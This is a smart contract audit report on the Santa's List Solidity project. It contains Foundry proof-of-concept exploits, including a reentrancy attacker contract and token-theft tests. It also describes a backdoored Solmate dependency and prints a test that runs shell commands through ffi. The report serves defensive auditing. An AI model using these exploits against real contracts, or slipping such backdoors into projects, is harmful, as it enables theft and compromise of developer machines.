



Santa's List Audit Report

Smart Contract Security Audit Report

Prepared by: Arush Singh

September 26, 2026

Santa's List Audit Report

Report prepared by: Arush Singh

Contents

1	Protocol Summary	4
2	Disclaimer	4
3	Risk Classification	4
4	Audit Details	4
4.1	Scope	4
4.2	Severity Criteria	4
4.3	Summary of Findings	5
4.4	Tools Used	6
5	Findings	6
5.1	High Severity	6
5.1.1	[H-01] Missing access control on <code>SantasList::checkList()</code> allows anyone to set an address's status	6
5.1.2	[H-02] Default mapping value causes every unchecked address to be treated as NICE	7
5.1.3	[H-03] <code>SantasList::buyPresent()</code> burns the wrong party's tokens and mints the present to the wrong recipient	8
5.1.4	[H-04] Reentrancy in <code>SantasList::collectPresent()</code> enables unlimited free presents via <code>buyPresent()</code>	9
5.1.5	[H-05] Malicious code injected into the imported Solmate <code>ERC20::transferFrom()</code> lets a backdoored address drain <code>SantaToken</code>	10
5.1.6	[H-06] Malicious <code>ffi</code> cheatcode usage in <code>SantasListTest.t.sol</code> allows arbitrary shell command execution	11
5.2	Medium Severity	12
5.2.1	[M-01] <code>SantasList::buyPresent()</code> burns only half of the intended <code>PURCHASED_PRESENT_COST</code> 1	
5.3	Low Severity	13
5.3.1	[L-01] <code>SantasList::collectPresent()</code> has no closing date and remains callable indefinitely after Christmas 2023	13
5.3.2	[L-02] Solidity version 0.8.22 targets an EVM version incompatible with Arbitrum at time of deployment	14
5.3.3	[L-03] <code>SantasList::buyPresent()</code> burns payment before confirming the present mint succeeds	14
5.3.4	[L-04] On-chain metadata in <code>TokenUri.sol</code> risks exceeding the EIP-170 contract size limit	15
5.4	Informational	16
5.4.1	[I-01] <code>Status.NOT_CHECKED_TWICE</code> enum member is never used	16
5.4.2	[I-02] <code>CheckedOnce/CheckedTwice</code> events do not index the <code>person</code> parameter	16
5.5	Gas Optimizations	16
5.5.1	[G-01] Redundant storage reads in <code>SantasList::collectPresent()</code> . . .	16

5.5.2	[G-02] Unused PURCHASED_PRESENT_COST constant increases deployment bytecode size	17
-------	---	----

1 Protocol Summary

Santa has adopted blockchain technology to keep track of the naughty and nice! Hooray! So Santa hired some south pole contract elves to help build him a blockchain-based list. He'd never worked with blockchain elves before but was excited to see what they could do! They got nearly 100% test coverage, so that's got to be good, right?

The codebase is broken up into 3 contracts: - SantasList.sol - SantaToken.sol - TokenUri.sol

2 Disclaimer

I makes all effort to find as many vulnerabilities as possible, but security auditing is not a guarantee against future exploits, and this report is not an endorsement of the underlying business or product.

3 Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	High	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Audit Details

4.1 Scope

- GitHub Repo: <https://github.com/CodeHawks-Contests/ai-santas-list>
- Commit Hash: 91c8f8c94a9ff2db91f0ab2b2742cf1739dd6374
- In scope: ./src/SantasList.sol, ./src/SantaToken.sol, ./src/TokenUri.sol

4.2 Severity Criteria

Severity is assigned by combining **Impact** and **Likelihood**, per the Risk Classification matrix above.

- **Impact** — how severe the consequences are if the vulnerability is exploited.
 - *High*: Loss/theft/lockup of a material amount of user or protocol funds, permanent freezing of funds, or a complete protocol compromise (e.g. unauthorized minting, draining a pool, bricking core functionality).
 - *Medium*: Loss/griefing of funds is possible but requires specific, less likely conditions, or the impact is limited/recoverable (e.g. temporary denial of service, incorrect but non-catastrophic accounting).
 - *Low*: Minimal or no direct fund/state impact; mostly a deviation from expected/intended behavior or best practice.
- **Likelihood** — how probable it is that the vulnerability will actually be triggered/exploited.
 - *High*: Exploitable by any user, with no special privileges or conditions, and little to no cost to the attacker.
 - *Medium*: Requires specific conditions to be met (e.g. certain protocol states, timing, or a privileged-but-not-unrealistic role) before it becomes exploitable.

- *Low*: Requires an unlikely or highly specific set of conditions (e.g. admin key compromise, an extreme/edge-case market state) that make exploitation unlikely in practice.

Findings that don't fit the Impact/Likelihood matrix are classified separately:

- **Informational**: Does not pose a security risk on its own, but flags a code-quality, readability, documentation, or best-practice issue worth fixing.
- **Gas**: Does not pose a security risk; flags an opportunity to reduce gas consumption without changing intended behavior. Final severity for each finding is the auditor's judgment call from the matrix, and may be adjusted up or down from the strict Impact $\times$ Likelihood combination when context warrants it (e.g. funds at risk from a protocol the team has stated is intentionally centralized/trusted).

4.3 Summary of Findings

ID	Title	Severity
[H-01]	Missing access control on <code>SantasList::checkList()</code> allows anyone to set an address's status	High
[H-02]	Default mapping value causes every unchecked address to be treated as NICE	High
[H-03]	<code>SantasList::buyPresent()</code> burns the wrong party's tokens and mints the present to the wrong recipient	High
[H-04]	Reentrancy in <code>SantasList::collectPresent()</code> enables unlimited free presents via <code>buyPresent()</code>	High
[H-05]	Malicious code injected into the imported Solmate <code>ERC20::transferFrom()</code> lets a backdoored address drain <code>SantaToken</code>	High
[H-06]	Malicious <code>ffi</code> cheatcode usage in <code>SantasListTest.t.sol</code> allows arbitrary shell command execution	High
[M-01]	<code>SantasList::buyPresent()</code> burns only half of the intended <code>PURCHASED_PRESENT_COST</code>	Medium
[L-01]	<code>SantasList::collectPresent()</code> has no closing date and remains callable indefinitely after Christmas 2023	Low

ID	Title	Severity
[L-02]	Solidity version 0.8.22 targets an EVM version incompatible with Arbitrum at time of deployment	Low
[L-03]	<code>SantasList::buyPresent()</code> burns payment before confirming the present mint succeeds	Low
[L-04]	On-chain metadata in <code>TokenUri.sol</code> risks exceeding the EIP-170 contract size limit	Low
[I-01]	<code>Status.NOT_CHECKED_TWICE</code> enum member is never used	Informational
[I-02]	<code>CheckedOnce/CheckedTwice</code> events do not index the <code>person</code> parameter	Informational
[G-01]	Redundant storage reads in <code>SantasList::collectPresent()</code>	Gas
[G-02]	Unused <code>PURCHASED_PRESENT_COST</code> constant increases deployment bytecode size	Gas

4.4 Tools Used

- Foundry
- Manual Review

5 Findings

5.1 High Severity

5.1.1 [H-01] Missing access control on `SantasList::checkList()` allows anyone to set an address's status

Description:

`checkList()` is declared `external` with no access-control modifier, unlike `checkTwice()`, which is protected by `onlySanta`. As written, any address can call `checkList(person, status)` for any `person`, overwriting whatever first-pass status Santa has recorded. Because `checkTwice()` requires the caller-supplied `status` to match whatever is currently stored in `s_theListCheckedOnce[person]`, an attacker can call `checkList()` after Santa's legitimate call to desync the two mappings, causing Santa's subsequent `checkTwice()` call to revert with `SantasList__SecondCheckDoesntMatchFirst`. This effectively lets anyone grief the naughty-or-nice flow and block legitimate users from ever being confirmed `NICE/EXTRA_NICE`.

Risk Analysis:

- Impact: High — an attacker can permanently block legitimate users from being confirmed `NICE/EXTRA_NICE`, denying them access to the entire present-collection flow.

- Likelihood: High — the function is **external** with zero restrictions; any address can call it at any time at the cost of gas only. **Proof of Concept:**

```
function testCheckListGriefing() public {
    vm.prank(santa);
    santasList.checkList(user, SantasList.Status.NICE);

    // Attacker overwrites the first-pass status before Santa checks twice
    santasList.checkList(user, SantasList.Status.NAUGHTY);

    vm.prank(santa);

    ↪ vm.expectRevert(SantasList.SantasList__SecondCheckDoesntMatchFirst.selector);
    santasList.checkTwice(user, SantasList.Status.NICE);
}
```

Recommended Mitigation:

Restrict `checkList()` to Santa, the same as `checkTwice()`.

```
- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
    s_theListCheckedOnce[person] = status;
    emit CheckedOnce(person, status);
}
```

5.1.2 [H-02] Default mapping value causes every unchecked address to be treated as NICE

Description:

Solidity mappings return the zero value for any key that has never been written. Because `Status.NICE` is the first (index 0) member of the `Status` enum, `s_theListCheckedOnce[address]` and `s_theListCheckedTwice[address]` both default to `Status.NICE` for every address Santa has never checked. `collectPresent()` only verifies that both mappings equal `Status.NICE`, which every never-checked address satisfies with zero interaction from Santa. Any address can therefore call `collectPresent()` after Christmas and mint itself the NFT without ever being checked once.

Risk Analysis:

- Impact: High — unauthorized minting is available to literally any address, a complete bypass of the naughty/nice access model.
- Likelihood: High — trivial to trigger, costs only gas, and works for any caller with no preconditions. **Proof of Concept:**

```
function testDefaultStatusIsNiceAndCollectible() public {
    address randomUser = makeAddr("randomUser");
    // randomUser was never checked by Santa at all
    vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);

    vm.prank(randomUser);
    santasList.collectPresent();

    assertEq(santasList.balanceOf(randomUser), 1);
}
```

```
}
```

Recommended Mitigation:

Reorder the enum so the zero (default) value represents “not checked” rather than “nice,” so an unset address fails the `collectPresent()` checks instead of silently passing.

```
enum Status {  
-     NICE,  
-     EXTRA_NICE,  
-     NAUGHTY,  
-     NOT_CHECKED_TWICE  
+     NOT_CHECKED_TWICE,  
+     NICE,  
+     EXTRA_NICE,  
+     NAUGHTY  
}
```

5.1.3 [H-03] `SantasList::buyPresent()` burns the wrong party's tokens and mints the present to the wrong recipient

Description:

`buyPresent(address presentReceiver)` is documented to let a caller spend their own `SantaTokens` to buy a present for someone else, and its `NatSpec` states the caller must first approve the contract to spend their own tokens. The implementation does the opposite of both: `i_santaToken.burn(presentReceiver)` burns `1e18` tokens out of `presentReceiver`'s balance — not the caller's — with no allowance check at all, since `SantaToken::burn()` only checks `msg.sender == i_santasList`. Meanwhile `_mintAndIncrement()` mints the resulting NFT to `msg.sender` (the caller) instead of `presentReceiver`. Any address holding `SantaToken` can therefore have its balance burned by anyone, for that anyone's own benefit.

Risk Analysis:

- Impact: High — direct, non-consensual loss of `presentReceiver`'s `SantaToken` balance, plus theft of the NFT that should have gone to them.
- Likelihood: High — callable by anyone, at any time, against any address holding `SantaToken`, with no approval or consent required. **Proof of Concept:**

```
function testBuyPresentBurnsVictimAndPaysAttacker() public {  
    address attacker = makeAddr("attacker");  
  
    vm.startPrank(santa);  
    santasList.checkList(user, SantasList.Status.EXTRA_NICE);  
    santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);  
    vm.stopPrank();  
  
    vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);  
  
    vm.prank(user);  
    santasList.collectPresent();  
    assertEq(santaToken.balanceOf(user), 1e18);  
  
    // attacker never approved anything and holds no SantaToken
```

```

    vm.prank(attacker);
    santasList.buyPresent(user);

    assertEq(santaToken.balanceOf(user), 0);      // victim's tokens are gone
    assertEq(santasList.balanceOf(attacker), 1);  // attacker walks away with
    ↪ the NFT
}

```

Recommended Mitigation:

Burn from the caller and mint to the receiver, matching the documented intent.

```

function buyPresent(address presentReceiver) external {
-   i_santaToken.burn(presentReceiver);
-   _mintAndIncrement();
+   i_santaToken.burn(msg.sender);
+   _safeMint(presentReceiver, s_tokenCounter++);
}

```

5.1.4 [H-04] Reentrancy in `SantasList::collectPresent()` enables unlimited free presents via `buyPresent()`

Description:

`collectPresent()` violates the checks-effects-interactions pattern for `EXTRA_NICE` collectors. It calls `_mintAndIncrement()` — which uses OpenZeppelin's `_safeMint`, an external interaction that invokes `onERC721Received` on the recipient if it is a contract — before it mints the caller's `SantaToken` reward. Because neither `collectPresent()` nor `buyPresent()` carries a reentrancy guard, and because `buyPresent()` can already be called by anyone against any token holder with no consent ([H-03]), an attacker contract can use the `onERC721Received` callback fired mid-`collectPresent()` to reenter `buyPresent()` and mint itself additional presents by burning other users' `SantaToken` balances — all before its own original `collectPresent()` call has even finished.

Risk Analysis:

- Impact: High — compounds directly with [H-03] to allow repeated, uninterrupted draining and minting within a single transaction.
- Likelihood: Medium — requires the attacker to deploy a contract implementing `onERC721Received` and to already hold `NICE/EXTRA_NICE` status, but no other privilege or special protocol state is needed. **Proof of Concept:**

```

contract ReentrantAttacker {
    SantasList public immutable target;
    SantaToken public immutable token;
    address public victim;

    constructor(SantasList _target, address _victim) {
        target = _target;
        token = SantaToken(_target.getSantaToken());
        victim = _victim;
    }

    function attack() external {

```

```

        target.collectPresent();
    }

    function onERC721Received(address, address, uint256, bytes calldata)
    ↪ external returns (bytes4) {
        // Reenter mid-collectPresent(), before this call has returned,
        // exploiting the unprotected buyPresent() from [H-03].
        if (token.balanceOf(victim) >= 1e18) {
            target.buyPresent(victim);
        }
        return this.onERC721Received.selector;
    }
}

```

(Called after warping past CHRISTMAS_2023_BLOCK_TIME, with the attacker contract already checked as NICE/EXTRA_NICE and victim pre-funded with SantaToken.)

Recommended Mitigation:

Add a reentrancy guard to both externally-reachable, state-changing entry points.

```

+ import {ReentrancyGuard} from
↪ "@openzeppelin/contracts/security/ReentrancyGuard.sol";

- contract SantasList is ERC721, TokenUri {
+ contract SantasList is ERC721, TokenUri, ReentrancyGuard {

-     function collectPresent() external {
+     function collectPresent() external nonReentrant {

-     function buyPresent(address presentReceiver) external {
+     function buyPresent(address presentReceiver) external nonReentrant {

```

5.1.5 [H-05] Malicious code injected into the imported Solmate

ERC20::transferFrom() lets a backdoored address drain SantaToken

Description:

SantaToken imports ERC20 from @solmate/src/tokens/ERC20.sol. The project's dependency actually resolves to a forked, unofficial copy of Solmate rather than the canonical transmissions11/solmate library. The fork's transferFrom() has been modified so that one hardcoded, attacker-controlled address (0x815F577F1c1bcE213c012f166744937C889DAF17) bypasses the allowance check entirely, letting that address move any user's SantaToken balance to any destination without ever being approved. Since SantaToken inherits this contract unmodified, every SantaToken holder's balance is effectively controlled by whoever holds the backdoored key, independent of anything SantasList itself does correctly.

Risk Analysis:

- Impact: High — complete, silent compromise of every user's SantaToken balance; total loss of token custody.
- Likelihood: High — the backdoor requires no special conditions; the privileged address can drain any wallet at will, at any time. **Proof of Concept:**

```
function testMaliciousTransferFromBypassesAllowance() public {
    // user holds SantaToken and has given ZERO allowance to the backdoor
    ↪ address
    address backdoorAddress = 0x815F577F1c1bcE213c012f166744937C889DAF17;
    assertEq(santaToken.allowance(user, backdoorAddress), 0);

    vm.prank(backdoorAddress);
    santaToken.transferFrom(user, backdoorAddress, santaToken.balanceOf(user));
    // succeeds despite zero allowance because the imported ERC20 is modified
}
```

Recommended Mitigation:

Pin the dependency to the official, verified `transmissions11/solmate` repository/commit, remove the unofficial fork entirely, and diff any future dependency update against the canonical source before merging.

```
- solmate/=lib/solmate-bad/src/
+ solmate/=lib/solmate/src/
```

5.1.6 [H-06] Malicious ffi cheatcode usage in `SantasListTest.t.sol` allows arbitrary shell command execution

Description:

`SantasListTest.t.sol` contains a `testPwned()` function that uses Foundry's `ffi` cheatcode to execute an arbitrary shell command (`touch youve-been-pwned`) on the machine running the test suite. `ffi` grants the calling test the ability to run any command available to the host shell, so a malicious or compromised test file can read, exfiltrate, or modify anything the CI/developer machine has access to — far beyond simply creating a file. Because this test ships inside the audited repository and runs automatically as part of `forge test`, any CI pipeline or developer machine that runs the suite with `ffi = true` executes attacker-chosen shell commands with the permissions of whoever runs the tests.

Risk Analysis:

- Impact: High — arbitrary code execution on CI/developer infrastructure, a full compromise of the build environment that can lead to credential theft, supply-chain injection, or lateral movement well beyond the smart contracts themselves.
- Likelihood: High — triggers automatically on `forge test` with no user interaction, as long as `ffi` is enabled in `foundry.toml`. **Proof of Concept:**

The finding is demonstrated by the existing test itself:

```
function testPwned() public {
    string[] memory cmds = new string[](2);
    cmds[0] = "touch";
    cmds[1] = string.concat("youve-been-pwned");
    cheatCodes.ffi(cmds);
}
```

Running `forge test --match-test testPwned` with `ffi = true` creates a file named `youve-been-pwned` in the project root, confirming arbitrary shell execution from within the test suite.

Recommended Mitigation:

Remove `testPwned()` and the `_CheatCodes/ffi` usage entirely, and disable `ffi` in `foundry.toml` unless it is strictly required. If `ffi` is ever necessary, restrict it to a narrowly scoped, manually reviewed helper rather than leaving it callable from arbitrary test functions.

```
- function testPwned() public {
-     string[] memory cmds = new string[](2);
-     cmds[0] = "touch";
-     cmds[1] = string.concat("youve-been-pwned");
-     cheatCodes.ffi(cmds);
- }
```

5.2 Medium Severity

5.2.1 [M-01] `SantasList::buyPresent()` burns only half of the intended `PURCHASED_PRESENT_COST`

Description:

`SantasList` declares `PURCHASED_PRESENT_COST = 2e18` as the intended cost of buying a present, but this constant is never referenced anywhere in the contract. `buyPresent()` calls `SantaToken::burn()`, which unconditionally burns a hardcoded `1e18` regardless of `PURCHASED_PRESENT_COST`. As a result, presents cost half of the documented/intended price, and the constant is dead, misleading code that no longer reflects actual contract behavior.

Risk Analysis:

- Impact: Medium — tokenomics/accounting inconsistency: `SantaToken` is consumed faster than the protocol's own constant implies, and any off-chain tooling or documentation relying on `PURCHASED_PRESENT_COST` would be wrong. There is no direct theft of funds.
- Likelihood: Medium — surfaces on every `buyPresent()` call, but only affects the token-economy design rather than being independently exploitable for profit. **Proof of Concept:**

```
function testBuyPresentOnlyBurnsHalfOfStatedCost() public {
    vm.startPrank(santa);
    santasList.checkList(user, SantasList.Status.EXTRA_NICE);
    santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
    vm.stopPrank();

    vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);

    vm.prank(user);
    santasList.collectPresent(); // user now holds 1e18 SantaToken

    uint256 balanceBefore = santaToken.balanceOf(user);
    vm.prank(user);
    santasList.buyPresent(user);
    uint256 burned = balanceBefore - santaToken.balanceOf(user);

    assertEq(burned, 1e18); // actually
↪ burned
    assertLt(burned, santasList.PURCHASED_PRESENT_COST()); // documented
↪ cost is 2e18
```

```
}

```

Recommended Mitigation:

Make the burned amount configurable and wire it to the declared constant.

```
- function burn(address from) external {
+ function burn(address from, uint256 amount) external {
    if (msg.sender != i_santasList) {
        revert SantaToken__NotSantasList();
    }
-     _burn(from, 1e18);
+     _burn(from, amount);
}

- i_santaToken.burn(presentReceiver);
+ i_santaToken.burn(msg.sender, PURCHASED_PRESENT_COST);

```

5.3 Low Severity

5.3.1 [L-01] SantasList::collectPresent() has no closing date and remains callable indefinitely after Christmas 2023

Description:

`collectPresent()` only enforces a lower time bound — `block.timestamp >= CHRISTMAS_2023_BLOCK_TIME` — and never an upper bound. Combined with the fact that `checkList()/checkTwice()` carry no time restriction either, the naughty-or-nice window never closes: Santa can check people long after Christmas 2023 has passed, and any address that becomes (or, per [H-02], defaults to) NICE/EXTRA_NICE can collect at any point in the future — next year, in five years, indefinitely — with no relationship to the one-time “Christmas 2023” event the contract is named after.

Risk Analysis:

- Impact: Low — no fund-safety impact; purely a deviation from the intended one-time, time-boxed Christmas event.
- Likelihood: Medium — requires no special conditions to trigger; it happens by default simply as time passes, though it doesn’t independently increase attacker capability beyond what [H-01]/[H-02] already grant. **Proof of Concept:**

```
function testCollectPresentStillCallableYearsLater() public {
    vm.startPrank(santa);
    santasList.checkList(user, SantasList.Status.NICE);
    santasList.checkTwice(user, SantasList.Status.NICE);
    vm.stopPrank();

    // Warp to well beyond Christmas 2023
    vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 5 * 365 days);

    vm.prank(user);
    santasList.collectPresent(); // still succeeds
    assertEq(santasList.balanceOf(user), 1);
}

```

Recommended Mitigation:

Add an explicit closing timestamp for the collection window.

```
+ uint256 public constant COLLECTION_WINDOW_CLOSE = CHRISTMAS_2023_BLOCK_TIME +  
  ↪ 30 days;  
  
function collectPresent() external {  
    if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {  
        revert SantasList__NotChristmasYet();  
    }  
+   if (block.timestamp > COLLECTION_WINDOW_CLOSE) {  
+       revert SantasList__CollectionWindowClosed();  
+   }  
    ...  
}
```

5.3.2 [L-02] Solidity version 0.8.22 targets an EVM version incompatible with Arbitrum at time of deployment**Description:**

SantasList.sol and SantaToken.sol are locked to `pragma solidity 0.8.22`. By default, solc versions 0.8.20 and above target the Shanghai EVM version, which emits the PUSH0 opcode. At the time this codebase targeted deployment, some L2s — including Arbitrum — had not yet upgraded their EVM to support PUSH0, meaning contracts compiled with default settings for 0.8.22 would fail to deploy (or deploy with unusable bytecode) on those chains unless the compiler's `evmVersion` was explicitly pinned to a pre-Shanghai target (e.g. `paris`).

Risk Analysis:

- Impact: Low — deployment simply fails outright during testing/deployment on the affected chain; no funds are ever at risk, and the issue is caught before any live usage.
- Likelihood: Low — only manifests if the team actually attempts deployment to a chain that lags in EVM-version support, and is trivially fixed by pinning `evmVersion`. **Proof of Concept:**

This is a compiler/deployment-configuration issue rather than something demonstrable via a Foundry unit test. It is confirmed by inspecting the compiled artifact for the PUSH0 opcode (0x5f) and cross-referencing it against the target chain's supported EVM version, or by attempting deployment to the target chain's testnet and observing the deployment revert.

Recommended Mitigation:

```
# foundry.toml  
[profile.default]  
solc = "0.8.22"  
+ evm_version = "paris"
```

5.3.3 [L-03] SantasList::buyPresent() burns payment before confirming the present mint succeeds**Description:**

`buyPresent()` burns the payment (`i_santaToken.burn(...)`) before minting the present (`_mintAndIncrement()`). Today, Solidity's atomic revert semantics mean the burn cannot

persist without the mint also succeeding within the same transaction, so there is no live fund-loss vector. This ordering is nonetheless inconsistent with defensive coding practice: should the two operations ever be split across transactions, wrapped in `try/catch`, or made non-atomic by a future change (e.g. a cross-chain or relayed flow), a user could have their `SantaTokens` burned without receiving the corresponding present.

Risk Analysis:

- Impact: Low — no live fund-loss vector today given full-transaction atomicity.
- Likelihood: Low — would only become relevant if a future change made the two operations non-atomic. **Proof of Concept:**

Not demonstrable today given full-transaction atomicity; included as a defensive-coding observation to flag before any future refactor that could break atomicity.

Recommended Mitigation:

```
function buyPresent(address presentReceiver) external {  
-   i_santaToken.burn(presentReceiver);  
-   _mintAndIncrement();  
+   _mintAndIncrement();  
+   i_santaToken.burn(msg.sender);  
}
```

5.3.4 [L-04] On-chain metadata in `TokenUri.sol` risks exceeding the EIP-170 contract size limit

Description:

`TokenUri.sol` supplies the `TOKEN_URI` constant returned by `tokenURI()`. On-chain metadata contracts of this style commonly embed a base64-encoded SVG/JSON string directly as a Solidity constant, which is compiled directly into the contract's deployed bytecode. Combined with the logic in `SantasList.sol` and the inherited OpenZeppelin ERC721 implementation, this creates real risk of the deployed bytecode exceeding the 24,576-byte limit imposed by EIP-170, in which case deployment would revert outright.

Risk Analysis:

- Impact: Low — deployment fails cleanly pre-launch; no funds or users are ever exposed.
- Likelihood: Low — only manifests if the embedded metadata grows large enough to push the contract over the limit, and is straightforward to verify before deployment. **Proof of Concept:**

```
forge build --sizes  
# Inspect the reported size for SantasList against the 24,576-byte EIP-170  
↪ limit
```

Recommended Mitigation:

Keep on-chain SVG/metadata as compact as possible, move large static assets off-chain (e.g. IPFS) with only the URI stored on-chain, or split shared logic into a library/external contract to reduce the main contract's bytecode footprint. Run `forge build --sizes` as part of CI to catch this before deployment.

5.4 Informational

5.4.1 [I-01] Status.NOT_CHECKED_TWICE enum member is never used

Description:

The `Status` enum defines `NOT_CHECKED_TWICE` as its fourth member, apparently intended to represent an address that hasn't yet been checked. No code path ever assigns or checks for `Status.NOT_CHECKED_TWICE` — because `Status.NICE` occupies index 0, every unset mapping entry defaults to `NICE` instead (see [H-02]), leaving `NOT_CHECKED_TWICE` entirely dead code.

Recommended Mitigation:

Either remove the unused member, or, preferably, reorder the enum so `NOT_CHECKED_TWICE` is the zero-value default and add explicit checks against it in `collectPresent()`, as shown in the [H-02] mitigation.

5.4.2 [I-02] CheckedOnce/CheckedTwice events do not index the person parameter

Description:

`CheckedOnce(address person, Status status)` and `CheckedTwice(address person, Status status)` do not mark `person` as indexed. Off-chain consumers (subgraphs, dashboards, block explorers) cannot efficiently filter these events by address, making it harder to track an individual's naughty-or-nice history on-chain.

Recommended Mitigation:

```
- event CheckedOnce(address person, Status status);
- event CheckedTwice(address person, Status status);
+ event CheckedOnce(address indexed person, Status status);
+ event CheckedTwice(address indexed person, Status status);
```

5.5 Gas Optimizations

5.5.1 [G-01] Redundant storage reads in `SantasList::collectPresent()`

Description:

`collectPresent()` reads `s_theListCheckedOnce[msg.sender]` and `s_theListCheckedTwice[msg.sender]` from storage multiple times across its `if/else if` branches. Each mapping read is an `SLOAD`; caching each value in a local memory variable once at the top of the function and reusing it avoids repeated `SLOADs` for the same slot.

Recommended Mitigation:

```
function collectPresent() external {
    if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
        revert SantasList__NotChristmasYet();
    }
    if (balanceOf(msg.sender) > 0) {
        revert SantasList__AlreadyCollected();
    }
-   if (s_theListCheckedOnce[msg.sender] == Status.NICE &&
↪   s_theListCheckedTwice[msg.sender] == Status.NICE) {
+   Status checkedOnce = s_theListCheckedOnce[msg.sender];
+   Status checkedTwice = s_theListCheckedTwice[msg.sender];
```

```
+   if (checkedOnce == Status.NICE && checkedTwice == Status.NICE) {
+       _mintAndIncrement();
+       return;
+   } else if (
-       s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
-       && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
+       checkedOnce == Status.EXTRA_NICE && checkedTwice == Status.EXTRA_NICE
+   ) {
+       _mintAndIncrement();
+       i_santaToken.mint(msg.sender);
+       return;
+   }
+   revert SantasList__NotNice();
+ }
```

5.5.2 [G-02] Unused PURCHASED_PRESENT_COST constant increases deployment bytecode size

Description:

PURCHASED_PRESENT_COST, being `public`, generates an auto-getter function that is compiled into the deployed bytecode even though the constant is never used in any state-changing logic (see [M-01]). Removing it, or wiring it into `buyPresent()` as recommended in [M-01], trims a small amount of unnecessary deployment bytecode/gas.

Recommended Mitigation:

Either remove the constant if it's not meant to be enforced, or use it (per the [M-01] fix) so it earns its place in the deployed bytecode.